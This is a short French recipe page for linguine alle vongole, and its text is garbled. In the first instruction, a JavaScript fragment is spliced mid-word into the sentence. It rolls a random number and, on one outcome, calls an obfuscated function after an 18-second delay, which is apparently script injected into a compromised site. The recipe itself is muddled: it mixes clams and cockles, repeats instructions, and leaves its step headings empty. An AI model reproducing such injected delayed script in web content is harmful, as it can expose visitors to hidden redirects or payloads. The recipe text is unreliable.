Linguines all vongole (Ou pâtes plates à ruban)
2021-02-10- Thématique : Pates, Végétarien
- Niveau : Difficile
Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée, plongez les linguines. Portez à ébullition, faites cuire les pâte, en respectant le temps de cuisson indiqué sur le paquet.
Ingrédients
Dans une grande quantité d'eau bouillante salée, plongez les linguines. Portez à ébullition, faites cuire les pâte, en respectant le temps de cuisson indiqué sur le paquet. Pelez, coupez en deux les gousses d'ail. Ôtez le germe. Hachez-les finement. Enrobez les vongole où pâtes dans l'huile. Mouillez avec le vin blanc sec. Incorporez 20 g de beurre, l'ail hachée, poivrez généreusement. Salez à la fleur de sel.
Dès que les vongole commencent à s'ouvrir, parsemez de persil plat. Bien mélanger, et faites mijoter sur feu doux pendant 5 minutes.
Couvrez et réservez au chaud avec un fond de jus de cuisson.
Déposez les coques dans une cocotte, faites les réchauffer sur feu doux pendant quelques minutes avec 2 cuillères à soupe d'eau de cuisson, poivrez et servez rapidement.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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